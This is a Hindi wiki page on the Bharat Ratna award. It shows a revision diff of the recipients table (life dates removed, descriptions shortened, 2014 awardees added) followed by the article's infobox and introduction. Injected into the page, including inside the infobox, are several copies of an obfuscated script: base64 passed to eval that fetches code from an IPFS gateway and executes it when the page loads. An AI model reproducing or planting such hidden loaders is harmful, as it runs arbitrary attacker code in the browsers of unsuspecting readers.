"भारत रत्‍न" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 62: पंक्ति 62:
 
! वर्ष  
 
! वर्ष  
 
! नाम
 
! नाम
! जीवन
 
 
! कार्य क्षेत्र
 
! कार्य क्षेत्र
 
! चित्र
 
! चित्र
पंक्ति 70: पंक्ति 69:
 
|[[सर्वपल्ली राधाकृष्णन|डॉक्टर सर्वपल्ली राधाकृष्णन]]
 
|[[सर्वपल्ली राधाकृष्णन|डॉक्टर सर्वपल्ली राधाकृष्णन]]
 
|5 सितंबर 1888-17 अप्रैल 1975
 
|5 सितंबर 1888-17 अप्रैल 1975
|दार्शनिक, द्वितीय राष्ट्रपति-भारत
+
|दार्शनिक
 
|[[चित्र:Sarvepalli-Radhakrishnan.jpg|30px|link=सर्वपल्ली राधाकृष्णन]]
 
|[[चित्र:Sarvepalli-Radhakrishnan.jpg|30px|link=सर्वपल्ली राधाकृष्णन]]
 
|-  
 
|-  
पंक्ति 76: पंक्ति 75:
 
|1954
 
|1954
 
|[[चक्रवर्ती राजगोपालाचारी]]
 
|[[चक्रवर्ती राजगोपालाचारी]]
|10 दिसंबर 1878-25 दिसंबर 1972
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, अंतिम गवर्नर जनरल
 
 
|[[चित्र:C-Rajagopalachari.jpg|30px|link=चक्रवर्ती राजगोपालाचारी]]
 
|[[चित्र:C-Rajagopalachari.jpg|30px|link=चक्रवर्ती राजगोपालाचारी]]
 
|-
 
|-
पंक्ति 83: पंक्ति 81:
 
|1954  
 
|1954  
 
|[[चंद्रशेखर वेंकट रामन|डॉ. सी. वी. रमन]]  
 
|[[चंद्रशेखर वेंकट रामन|डॉ. सी. वी. रमन]]  
|7 नवंबर 1888-21 नवंबर 1970
+
|भौतिकशास्त्री  
|भौतिकशास्त्री, [[नोबेल पुरस्कार]] विजेता
 
 
|[[चित्र:C.V Raman.jpg|30px|link=चंद्रशेखर वेंकट रामन]]
 
|[[चित्र:C.V Raman.jpg|30px|link=चंद्रशेखर वेंकट रामन]]
 
|-
 
|-
पंक्ति 90: पंक्ति 87:
 
|1955
 
|1955
 
|[[डॉक्टर भगवान दास]]  
 
|[[डॉक्टर भगवान दास]]  
|12 जनवरी 1869-18 सितंबर 1958
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, लेखक
 
 
|[[चित्र:Dr.Bhagwan-Das.jpg|30px|link=भगवान दास]]
 
|[[चित्र:Dr.Bhagwan-Das.jpg|30px|link=भगवान दास]]
 
|-
 
|-
पंक्ति 97: पंक्ति 93:
 
|1955
 
|1955
 
|[[मोक्षगुंडम विश्वेश्वरैया|सर डॉ. मोक्षगुंडम विश्वेश्वरय्या]]  
 
|[[मोक्षगुंडम विश्वेश्वरैया|सर डॉ. मोक्षगुंडम विश्वेश्वरय्या]]  
|15 सितंबर 1861-14 अप्रैल 1962
+
|सिविल इंजीनियर  
|सिविल इंजीनियर, मैसूर के दीवान
 
 
|[[चित्र:Mokshagundam-Visvesvarayya.jpg|30px|link=मोक्षगुंडम विश्वेश्वरैया]]
 
|[[चित्र:Mokshagundam-Visvesvarayya.jpg|30px|link=मोक्षगुंडम विश्वेश्वरैया]]
 
|-  
 
|-  
पंक्ति 104: पंक्ति 99:
 
|1955
 
|1955
 
|[[जवाहरलाल नेहरू|पं. जवाहर लाल नेहरू]]  
 
|[[जवाहरलाल नेहरू|पं. जवाहर लाल नेहरू]]  
|14 नवंबर 1889-27 मई 1964
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, लेखक, प्रथम प्रधानमंत्री-भारत
 
 
|[[चित्र:Jawahar-Lal-Nehru.jpg|30px|link=जवाहरलाल नेहरू]]
 
|[[चित्र:Jawahar-Lal-Nehru.jpg|30px|link=जवाहरलाल नेहरू]]
 
|-  
 
|-  
पंक्ति 111: पंक्ति 105:
 
|1957
 
|1957
 
|[[गोविंद बल्लभ पंत]]
 
|[[गोविंद बल्लभ पंत]]
|10 सितंबर 1887-7 मार्च 1961
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, प्रथम मुख्यमंत्री-उत्तर प्रदेश, द्वितीय गृहमंत्री-भारत
 
 
|[[चित्र:Pandit-Govind-Ballabh-Pant.jpg|30px|link=गोविंद बल्लभ पंत]]
 
|[[चित्र:Pandit-Govind-Ballabh-Pant.jpg|30px|link=गोविंद बल्लभ पंत]]
 
|-
 
|-
पंक्ति 118: पंक्ति 111:
 
|1958
 
|1958
 
|[[डॉ. धोंडो केशव कर्वे]]   
 
|[[डॉ. धोंडो केशव कर्वे]]   
|18 अप्रैल 1858-9 नवंबर 1962
+
|समाज सुधारक
|शिक्षक, समाजसुधारक
 
 
|[[चित्र:Dhondo-Keshav-Karve.jpg|30px|link=धोंडो केशव कर्वे]]
 
|[[चित्र:Dhondo-Keshav-Karve.jpg|30px|link=धोंडो केशव कर्वे]]
 
|-  
 
|-  
पंक्ति 125: पंक्ति 117:
 
|1961
 
|1961
 
|[[डॉ. बिधान चंद्र राय]]
 
|[[डॉ. बिधान चंद्र राय]]
|1 जुलाई 1882-1 जुलाई 1962
+
|चिकित्सक
|चिकित्सक, मुख्यमंत्री-पश्चिमी बंगाल
 
 
|[[चित्र:Dr.Bidhan-Chandra-Roy.gif|30px|link=बिधान चंद्र राय]]
 
|[[चित्र:Dr.Bidhan-Chandra-Roy.gif|30px|link=बिधान चंद्र राय]]
 
|-  
 
|-  
पंक्ति 132: पंक्ति 123:
 
|1961
 
|1961
 
|[[पुरुषोत्तम दास टंडन]]  
 
|[[पुरुषोत्तम दास टंडन]]  
|1 अगस्त 1882-1 जुलाई 1962
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, शिक्षक
 
 
|[[चित्र:Purushottam Das Tandon.jpg|30px|link=पुरुषोत्तम दास टंडन]]
 
|[[चित्र:Purushottam Das Tandon.jpg|30px|link=पुरुषोत्तम दास टंडन]]
 
|-  
 
|-  
पंक्ति 139: पंक्ति 129:
 
|1962
 
|1962
 
|[[राजेन्द्र प्रसाद|डॉ. राजेंद्र प्रसाद]]  
 
|[[राजेन्द्र प्रसाद|डॉ. राजेंद्र प्रसाद]]  
|3 दिसंबर 1884-28 फ़रवरी 1963
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, विधिवेत्ता, प्रथम राष्ट्रपति-भारत
 
 
|[[चित्र:Dr.Rajendra-Prasad.jpg|30px|link=राजेन्द्र प्रसाद]]
 
|[[चित्र:Dr.Rajendra-Prasad.jpg|30px|link=राजेन्द्र प्रसाद]]
 
|-  
 
|-  
पंक्ति 146: पंक्ति 135:
 
|1963
 
|1963
 
|[[डॉ. ज़ाकिर हुसैन]]  
 
|[[डॉ. ज़ाकिर हुसैन]]  
|8 फ़रवरी 1897-3 मई 1969
+
|विद्वान
|विद्वान, तृतीय राष्ट्रपति-भारत
 
 
|[[चित्र:Dr.Zakir-Hussain.jpg|30px|link=ज़ाकिर हुसैन]]
 
|[[चित्र:Dr.Zakir-Hussain.jpg|30px|link=ज़ाकिर हुसैन]]
 
|-
 
|-
पंक्ति 153: पंक्ति 141:
 
|1963
 
|1963
 
|[[डॉ. पांडुरंग वामन काणे]]  
 
|[[डॉ. पांडुरंग वामन काणे]]  
|1880-1972
+
|संस्कृत विद्वान
|भारतविद, संस्कृत विद्वान
 
 
|[[चित्र:Dr.Pandurang-Vaman-Kane.jpg|30px|link=पांडुरंग वामन काणे]]
 
|[[चित्र:Dr.Pandurang-Vaman-Kane.jpg|30px|link=पांडुरंग वामन काणे]]
 
|-  
 
|-  
पंक्ति 160: पंक्ति 147:
 
|1966
 
|1966
 
|[[लाल बहादुर शास्त्री]]  
 
|[[लाल बहादुर शास्त्री]]  
|2 अक्तूबर 1904 - 11 जनवरी 1966, 
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, तृतीय प्रधानमंत्री,-भारत, (मरणोपरान्त)
 
 
|[[चित्र:Lal-Bahadur-Shastri.jpg|30px|link=लाल बहादुर शास्त्री]]
 
|[[चित्र:Lal-Bahadur-Shastri.jpg|30px|link=लाल बहादुर शास्त्री]]
 
|-
 
|-
पंक्ति 167: पंक्ति 153:
 
|1971
 
|1971
 
|[[इंदिरा गाँधी]]  
 
|[[इंदिरा गाँधी]]  
|19 नवंबर 1917-31 अक्तूबर 1984
+
|राजनीतिज्ञ
|चतुर्थ प्रधानमंत्री-भारत
 
 
|[[चित्र:Indira-Gandhi.jpg|30px|link=इंदिरा गाँधी]]
 
|[[चित्र:Indira-Gandhi.jpg|30px|link=इंदिरा गाँधी]]
 
|-  
 
|-  
पंक्ति 174: पंक्ति 159:
 
|1975
 
|1975
 
|[[वाराह गिरि वेंकट गिरि|वराहगिरी वेंकट गिरी]]   
 
|[[वाराह गिरि वेंकट गिरि|वराहगिरी वेंकट गिरी]]   
|10 अगस्त 1894-23 जून 1980
+
|श्रमिक संघवादी  
|श्रमिक संघवादी, चतुर्थ राष्ट्रपति-भारत
 
 
|[[चित्र:V.V.Giri.jpg|30px|link=वी. वी. गिरि]]
 
|[[चित्र:V.V.Giri.jpg|30px|link=वी. वी. गिरि]]
 
|-
 
|-
पंक्ति 181: पंक्ति 165:
 
|1976
 
|1976
 
|[[के. कामराज]]   
 
|[[के. कामराज]]   
|15 जुलाई 1903-1975, 
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, मुख्यमंत्री-मद्रास, (मरणोपरान्त)
 
 
|[[चित्र:K.Kamaraj.jpg|30px|link=के. कामराज]]
 
|[[चित्र:K.Kamaraj.jpg|30px|link=के. कामराज]]
 
|-
 
|-
पंक्ति 188: पंक्ति 171:
 
|1980
 
|1980
 
|[[मदर टेरेसा]]  
 
|[[मदर टेरेसा]]  
|26 अगस्त 1910-5 सितंबर 1997
+
|कॅथोलिक नन  
|कॅथोलिक नन, मिशनरीज़ संस्थापक, [[नोबेल पुरस्कार]] विजेता
 
 
|[[चित्र:Mother-Teresa-2.jpg|30px|lnik=मदर टेरेसा]]
 
|[[चित्र:Mother-Teresa-2.jpg|30px|lnik=मदर टेरेसा]]
 
|-
 
|-
पंक्ति 195: पंक्ति 177:
 
|1983
 
|1983
 
|[[आचार्य विनोबा भावे]]  
 
|[[आचार्य विनोबा भावे]]  
|11 सितंबर 1895-15 नवंबर 1982,
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, समाज सुधारक, (मरणोपरान्त)
 
 
|[[चित्र:Vinoba-Bhave.jpg|30px|link=विनोबा भावे]]
 
|[[चित्र:Vinoba-Bhave.jpg|30px|link=विनोबा भावे]]
 
|-
 
|-
पंक्ति 202: पंक्ति 183:
 
|1987
 
|1987
 
|[[ख़ान अब्दुलगफ़्फ़ार ख़ान]]
 
|[[ख़ान अब्दुलगफ़्फ़ार ख़ान]]
|20 जनवरी 1890-1988,
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, प्रथम अभारतीय प्राप्तकर्ता
 
 
|[[चित्र:Khan-Abdul-Ghaffar-Khan.jpg|30px|link=ख़ान अब्दुलगफ़्फ़ार ख़ान]]
 
|[[चित्र:Khan-Abdul-Ghaffar-Khan.jpg|30px|link=ख़ान अब्दुलगफ़्फ़ार ख़ान]]
 
|-
 
|-
पंक्ति 209: पंक्ति 189:
 
|1988
 
|1988
 
|[[मरुदुर गोपालन रामचन्द्रन]] (एम जी आर)  
 
|[[मरुदुर गोपालन रामचन्द्रन]] (एम जी आर)  
|17 जनवरी 1917-24 दिसंबर 1987, 
+
|अभिनेता, राजनीतिज्ञ
|अभिनेता, मुख्यमंत्री-तमिलनाडु, (मरणोपरान्त)
 
 
|[[चित्र:M.G.Ramachandran.jpg|30px|link=मरुदुर गोपालन रामचन्द्रन]]
 
|[[चित्र:M.G.Ramachandran.jpg|30px|link=मरुदुर गोपालन रामचन्द्रन]]
 
|-
 
|-
पंक्ति 216: पंक्ति 195:
 
|1990
 
|1990
 
|[[भीमराव आम्बेडकर|डॉ. भीमराव रामजी आम्बेडकर]]   
 
|[[भीमराव आम्बेडकर|डॉ. भीमराव रामजी आम्बेडकर]]   
|14 अप्रैल 1891-6 दिसंबर 1956
+
|राजनीतिज्ञ, अर्थशास्त्री  
|भारतीय संविधान के वास्तुकार, राजनीतिज्ञ, अर्थशास्त्री, विद्वान, (मरणोपरान्त)
 
 
|[[चित्र:Dr.Bhimrao-Ambedkar.jpg|30px|link=भीमराव आम्बेडकर]]
 
|[[चित्र:Dr.Bhimrao-Ambedkar.jpg|30px|link=भीमराव आम्बेडकर]]
 
|-
 
|-
पंक्ति 223: पंक्ति 201:
 
|1990
 
|1990
 
|[[नेल्‍सन मंडेला]]   
 
|[[नेल्‍सन मंडेला]]   
|18 जुलाई 1918,
+
|रंगभेद विरोधी आंदोलन के नेता
|द्वितीय अभारतीय प्राप्तकर्ता, रंगभेद विरोधी आंदोलन के नेता, [[नोबेल पुरस्कार]] विजेता
 
 
|[[चित्र:Nelson-Mandela.jpg|30px|link=नेल्‍सन मंडेला]]
 
|[[चित्र:Nelson-Mandela.jpg|30px|link=नेल्‍सन मंडेला]]
 
|-
 
|-
पंक्ति 230: पंक्ति 207:
 
|1991
 
|1991
 
|[[राजीव गाँधी]]  
 
|[[राजीव गाँधी]]  
|20 अगस्त1944-21 मई 1991
+
|राजनीतिज्ञ
|सातवें प्रधानमंत्री, (मरणोपरान्त)
 
 
|[[चित्र:Rajiv-Gandhi.jpg|30px|link=राजीव गाँधी]]
 
|[[चित्र:Rajiv-Gandhi.jpg|30px|link=राजीव गाँधी]]
 
|-
 
|-
पंक्ति 237: पंक्ति 213:
 
|1991
 
|1991
 
|[[सरदार पटेल|सरदार वल्लभ भाई पटेल]]  
 
|[[सरदार पटेल|सरदार वल्लभ भाई पटेल]]  
|31 अक्तूबर 1875-15 दिसंबर 1950
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, प्रथम गृहमंत्री-भारत, (मरणोपरान्त)
 
 
|[[चित्र:Sardar-Vallabh-Bhai-Patel.jpg|30px|link=सरदार पटेल]]
 
|[[चित्र:Sardar-Vallabh-Bhai-Patel.jpg|30px|link=सरदार पटेल]]
 
|-
 
|-
पंक्ति 244: पंक्ति 219:
 
|1991
 
|1991
 
|[[मोरारजी देसाई]]
 
|[[मोरारजी देसाई]]
|29 फ़रवरी 1896-10 अप्रैल 1995
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, पांचवे प्रधानमंत्री-भारत
 
 
|[[चित्र:Morarji-Desai.jpg|30px|link=मोरारजी देसाई]]
 
|[[चित्र:Morarji-Desai.jpg|30px|link=मोरारजी देसाई]]
 
|-  
 
|-  
पंक्ति 251: पंक्ति 225:
 
|1992  
 
|1992  
 
|[[अबुलकलाम आज़ाद|मौलाना अबुल कलाम आज़ाद]]
 
|[[अबुलकलाम आज़ाद|मौलाना अबुल कलाम आज़ाद]]
|11 नवंबर 1888-22 फ़रवरी 1958
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, प्रथम शिक्षामंत्री-भारत, (मरणोपरान्त)
 
 
|[[चित्र:Abul-Kalam-Azad.gif|30px|link=अबुलकलाम आज़ाद]]
 
|[[चित्र:Abul-Kalam-Azad.gif|30px|link=अबुलकलाम आज़ाद]]
 
|-
 
|-
पंक्ति 258: पंक्ति 231:
 
|1992
 
|1992
 
|[[जे. आर. डी. टाटा|जहांगीर रतनजी दादाभाई टाटा]] (जे. आर. डी. टाटा)
 
|[[जे. आर. डी. टाटा|जहांगीर रतनजी दादाभाई टाटा]] (जे. आर. डी. टाटा)
|29 जुलाई 1904-29 नवंबर 1993
+
|उद्योगपति  
|उद्योगपति, (मरणोपरान्त)
 
 
|[[चित्र:J.R.D-Tata.jpg|30px|link=जे. आर. डी. टाटा]]
 
|[[चित्र:J.R.D-Tata.jpg|30px|link=जे. आर. डी. टाटा]]
 
|-  
 
|-  
पंक्ति 265: पंक्ति 237:
 
|1992
 
|1992
 
|[[सत्यजित राय|सत्यजीत रे (राय)]]  
 
|[[सत्यजित राय|सत्यजीत रे (राय)]]  
|2 मई 1921-23 अप्रैल 1992
 
 
|फ़िल्म निर्माता-निर्देशक
 
|फ़िल्म निर्माता-निर्देशक
 
|[[चित्र:Satyajit Ray.jpg|30px|link=सत्यजित राय]]
 
|[[चित्र:Satyajit Ray.jpg|30px|link=सत्यजित राय]]
पंक्ति 272: पंक्ति 243:
 
|1997
 
|1997
 
|[[अब्दुल कलाम|डॉ. ए. पी. जे. अब्दुल कलाम]]   
 
|[[अब्दुल कलाम|डॉ. ए. पी. जे. अब्दुल कलाम]]   
|15 अक्तूबर 1931
+
|वैज्ञानिक
|वैज्ञानिक, ग्यारहवें राष्ट्रपति-भारत
 
 
|[[चित्र:A.P.J-Abdul-Kalam.jpg|30px|link=अब्दुल कलाम]]
 
|[[चित्र:A.P.J-Abdul-Kalam.jpg|30px|link=अब्दुल कलाम]]
 
|-  
 
|-  
पंक्ति 279: पंक्ति 249:
 
|1997
 
|1997
 
|[[गुलज़ारीलाल नन्दा]]
 
|[[गुलज़ारीलाल नन्दा]]
|4 जुलाई 1897-15 जनवरी 1998
+
|स्वतंत्रता सेनानी
|स्वतंत्रता सेनानी, दो बार कार्यवाहक प्रधानमंत्री-भारत
 
 
|[[चित्र:Guljari-Lal_Nanda.jpg|30px|link=गुलज़ारीलाल नन्दा]]
 
|[[चित्र:Guljari-Lal_Nanda.jpg|30px|link=गुलज़ारीलाल नन्दा]]
 
|-  
 
|-  
पंक्ति 286: पंक्ति 255:
 
|1997  
 
|1997  
 
|[[अरुणा आसफ़ अली]]
 
|[[अरुणा आसफ़ अली]]
|16 जुलाई 1909-29 जुलाई 1996
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, (मरणोपरान्त)
 
 
|[[चित्र:Aruna-Asaf-Ali.jpg|30px|link=अरुणा आसफ़ अली]]
 
|[[चित्र:Aruna-Asaf-Ali.jpg|30px|link=अरुणा आसफ़ अली]]
 
|-
 
|-
पंक्ति 293: पंक्ति 261:
 
|1998
 
|1998
 
|[[एम.एस. सुब्बालक्ष्मी]]
 
|[[एम.एस. सुब्बालक्ष्मी]]
|16 सितंबर 1916-11 दिसंबर 2004
+
|शास्त्रीय गायिका
|गायिका शास्त्रीय संगीत
 
 
|[[चित्र:M.S.Subbulakshmi.jpg|30px|link=एम. एस. सुब्बुलक्ष्मी]]
 
|[[चित्र:M.S.Subbulakshmi.jpg|30px|link=एम. एस. सुब्बुलक्ष्मी]]
 
|-
 
|-
पंक्ति 300: पंक्ति 267:
 
|1998
 
|1998
 
|[[सी. सुब्रह्मण्यम]]
 
|[[सी. सुब्रह्मण्यम]]
|30 जनवरी 1910-7 नवंबर 2000
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, कृषि मंत्री-भारत
 
 
|[[चित्र:C.Subramaniam.jpg|30px|link=सी. सुब्रह्मण्यम]]
 
|[[चित्र:C.Subramaniam.jpg|30px|link=सी. सुब्रह्मण्यम]]
 
|-
 
|-
पंक्ति 307: पंक्ति 273:
 
|1998
 
|1998
 
|[[जयप्रकाश नारायण]]
 
|[[जयप्रकाश नारायण]]
|11 अक्तूबर 1902-8 अक्तूबर 1979
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, राजनीतिज्ञ, (मरणोपरान्त)
 
 
|[[चित्र:Jayaprakash-Narayan .jpg|30px|link=जयप्रकाश नारायण]]
 
|[[चित्र:Jayaprakash-Narayan .jpg|30px|link=जयप्रकाश नारायण]]
 
|-
 
|-
पंक्ति 314: पंक्ति 279:
 
|1999
 
|1999
 
|[[रवि शंकर|पं. रवि शंकर]]
 
|[[रवि शंकर|पं. रवि शंकर]]
|7 अप्रैल 1920
 
 
|सितार वादक
 
|सितार वादक
 
|[[चित्र:Pandit-Ravi-Shankar.jpg|30px|link=रवि शंकर]]
 
|[[चित्र:Pandit-Ravi-Shankar.jpg|30px|link=रवि शंकर]]
पंक्ति 321: पंक्ति 285:
 
|1999
 
|1999
 
|[[अमर्त्य सेन]]
 
|[[अमर्त्य सेन]]
|3 नवंबर 1933
+
| अर्थशास्त्री
| अर्थशास्त्री, [[नोबेल पुरस्कार]] विजेता
 
 
|[[चित्र:Amartya Sen.jpg|30px|link=अमर्त्य सेन]]
 
|[[चित्र:Amartya Sen.jpg|30px|link=अमर्त्य सेन]]
 
|-
 
|-
पंक्ति 328: पंक्ति 291:
 
|1999
 
|1999
 
|[[गोपीनाथ बोरदोलोई]]
 
|[[गोपीनाथ बोरदोलोई]]
|1890 -1950
+
|स्वतंत्रता सेनानी  
|स्वतंत्रता सेनानी, मुख्यमंत्री-असम, (मरणोपरान्त)
 
 
|[[चित्र:gopinath-bordoloi.jpg|30px|link=गोपीनाथ बोरदोलोई]]
 
|[[चित्र:gopinath-bordoloi.jpg|30px|link=गोपीनाथ बोरदोलोई]]
 
|-
 
|-
पंक्ति 335: पंक्ति 297:
 
|2001
 
|2001
 
|[[लता मंगेशकर]]
 
|[[लता मंगेशकर]]
|28 सितंबर 1929
+
|पार्श्व गायिका
|पार्श्वगायिका
 
 
|[[चित्र:Lata-Mangeshkar.jpg|30px|link=लता मंगेशकर]]
 
|[[चित्र:Lata-Mangeshkar.jpg|30px|link=लता मंगेशकर]]
 
|-
 
|-
पंक्ति 342: पंक्ति 303:
 
|2001
 
|2001
 
|[[उस्ताद बिस्मिल्ला ख़ां]]
 
|[[उस्ताद बिस्मिल्ला ख़ां]]
|21 मार्च 1916 - 21 अगस्त 2006
 
 
|[[शहनाई वादक]]
 
|[[शहनाई वादक]]
 
|[[चित्र:Ustad-Bismillah-khan.jpg|30px|link=बिस्मिल्लाह ख़ाँ]]
 
|[[चित्र:Ustad-Bismillah-khan.jpg|30px|link=बिस्मिल्लाह ख़ाँ]]
पंक्ति 349: पंक्ति 309:
 
|2008
 
|2008
 
|[[भीमसेन जोशी|पं.भीमसेन जोशी]]
 
|[[भीमसेन जोशी|पं.भीमसेन जोशी]]
|4 फ़रवरी 1922 - 24 जनवरी 2011
 
 
|शास्त्रीय गायक
 
|शास्त्रीय गायक
 
|[[चित्र:Pandit-Bhimsen-Joshi.jpg|30px|link=भीमसेन जोशी]]
 
|[[चित्र:Pandit-Bhimsen-Joshi.jpg|30px|link=भीमसेन जोशी]]
पंक्ति 356: पंक्ति 315:
 
|2013
 
|2013
 
|[[सी. एन. आर. राव|प्रो. सी. एन. आर. राव]]
 
|[[सी. एन. आर. राव|प्रो. सी. एन. आर. राव]]
| [[30 जून]], [[1934]]
 
 
| रसायन वैज्ञानिक
 
| रसायन वैज्ञानिक
 
|[[चित्र:CNR Rao.jpg|30px|link=सी. एन. आर. राव]]
 
|[[चित्र:CNR Rao.jpg|30px|link=सी. एन. आर. राव]]
पंक्ति 363: पंक्ति 321:
 
|2013
 
|2013
 
|[[सचिन तेंदुलकर]]
 
|[[सचिन तेंदुलकर]]
|[[24 अप्रॅल]], [[1973]]
 
 
| क्रिकेट खिलाड़ी
 
| क्रिकेट खिलाड़ी
 
|[[चित्र:Sachin-Tendulkar-2.jpg|30px|link=सचिन तेंदुलकर]]
 
|[[चित्र:Sachin-Tendulkar-2.jpg|30px|link=सचिन तेंदुलकर]]
 +
|-
 +
|44
 +
|2014
 +
|[[मदन मोहन मालवीय]]
 +
| विद्वान
 +
|[[चित्र:Pandit-Madan-Mohan-Malaviya.jpg|30px|link=मदन मोहन मालवीय]]
 +
|-
 +
|45
 +
|2014
 +
|[[अटल बिहारी वाजपेयी]]
 +
| राजनीतिज्ञ
 +
|[[चित्र:Atal-Bihari-Vajpayee.jpg|30px|link=अटल बिहारी वाजपेयी]]
 
|}
 
|}
  

09:44, 5 नवम्बर 2016 का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भारत रत्‍न
भारत रत्न
विवरण 'भारत रत्‍न' उच्‍चतम नागरिक सम्‍मान है, जो कला, साहित्य, विज्ञान, राजनीतिज्ञ, विचारक, वैज्ञानिक, उद्योगपति, लेखक और समाजसेवी को असाधारण सेवा के लिए तथा उच्च लोक सेवा को मान्‍यता देने के लिए भारत सरकार की ओर से दिया जाता है।
शुरुआत 2 जनवरी, 1954
स्वरूप तांबे के बने पीपल के पत्ते पर प्लेटिनम का चमकता सूर्य का चिह्न होता है जिसके नीचे चाँदी में लिखा रहता है "भारत रत्न" और यह सफ़ेद फीते के साथ गले में पहना जाता है।
सर्वप्रथम सम्मानित सर्वपल्ली राधाकृष्णन, चंद्रशेखर वेंकट रामन और सी. राजगोपालाचारी
अंतिम सम्मानित डॉ. सीएनआर राव और सचिन तेंदुलकर
कुल सम्मानित 43[1]
विशेष कोई लिखित प्रावधान नहीं है कि 'भारत रत्‍न' केवल भारतीय नागरिकों को ही दिया जाएगा।
संबंधित लेख 'पद्मश्री', 'पद्म भूषण' और 'पद्म विभूषण'
अन्य जानकारी नेताजी सुभाषचन्द्र बोस को 1992 में 'भारत रत्न' से मरणोपरान्त सम्मानित किया गया था। किंतु उनकी मृत्यु विवादित होने के कारण अनेक प्रश्नों को उठाया गया। अत: भारत सरकार ने यह पुरस्कार वापस ले लिया था। यह पुरस्कार वापस लेने का यह एकमात्र उदाहरण है।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भारत रत्न’ देश का सर्वोच्च सम्मान है। इस अलंकरण से उन व्यक्तियों को सम्मानित किया जाता है जिन्होंने देश के किसी भी क्षेत्र में महत्त्वपूर्ण कार्य किए हों, अपने-अपने क्षेत्रों में उत्‍कृ‍ष्‍ट कार्य कर हमारे देश का गौरव बढ़ाया और हमारे देश को अंतरराष्‍ट्रीय मान्‍यता प्राप्त हुई। भारत रत्‍न उच्‍चतम नागरिक सम्‍मान है, जो कला, साहित्‍य, विज्ञान, राजनीतिज्ञ, विचारक, वैज्ञानिक, उद्योगपति, लेखक और समाजसेवी को असाधारण सेवा के लिए तथा उच्च लोक सेवा को मान्‍यता देने के लिए भारत सरकार की ओर से दिया जाता है। ‘भारत-रत्न’ उन महान व्यक्तियों की जीवन गाथा तो है ही, साथ में उन महापुरुषों के जीवन काल का इतिहास भी है। डा. विश्वेश्वरैया ने जल की आपूर्ति, बांध आदि की जो योजनाएं बनाईं और उन्हें साकार किया, उनकी उस समय कल्पना कठिन थी। महान उद्योगपति जे. आर. डी. टाटा ने विमान-सेवा उस समय आरंभ की जब ठीक ढंग से हवाई अड्डे भी नहीं थे। ‘भारत-रत्न’ ऐसी विभूतियों का चरित्र-चित्रण है जिनके बिना देश का इतिहास अधूरा है।

‘भारत-रत्न’ सर्वोच्च सम्मान

यह प्रतिवर्ष दिया जाने वाला अलंकरण नहीं। यह किसी व्यक्ति के संपूर्ण व्यक्तित्व और देश के प्रति उसकी अत्यन्त समर्पण भावना के लिए यदा-कदा दिया जाने वाला अलंकरण है। अन्य पुरस्कारों 'पद्मश्री', 'पद्म भूषण' और 'पद्म विभूषण' आदि से ‘भारत-रत्न’ श्रेष्ठ पुरस्कार है। यह उन आदर्श महान पुरुषों को ही दिया जाता है जिनकी जीवन गाथा पुण्य-भागीरथी के समान है, जिसे जानकर एक साधारण मनुष्य अपने आप को पाप मुक्त और निर्मल पाता है। ‘भारत-रत्न’ में ऐसी विभूतियों के दिव्य चरित्र हैं जिन्होंने जीवन को इतनी ऊँचाइयों तक पहुँचाया जहाँ की कोई कल्पना नहीं कर सकता। संभवत: इक़बाल ने ऐसे ही महान पुरुषों के लिए कहा था-

खुदी को कर बुलंद इतना कि हर तकदीर से पहले ख़ुदा बन्दे से खुद पूछे बता तेरी रज़ा क्या है ?

‘भारत-रत्न’ अनेक महान व्यक्तियों की जीवन-गाथा के साथ यह भारत के उस काल का इतिहास भी है, जिस काल से इन आदर्श पुरुषों का संबंध रहा। ‘भारत-रत्न’ केवल राजनेताओं का ही नहीं वरन इसमें वे लोग भी सम्मिलित हैं जिन्होंने देश को नई उपलब्धि दी और देश को प्रगति के मार्ग पर अग्रसर करने का यत्न किया।

स्वरूप

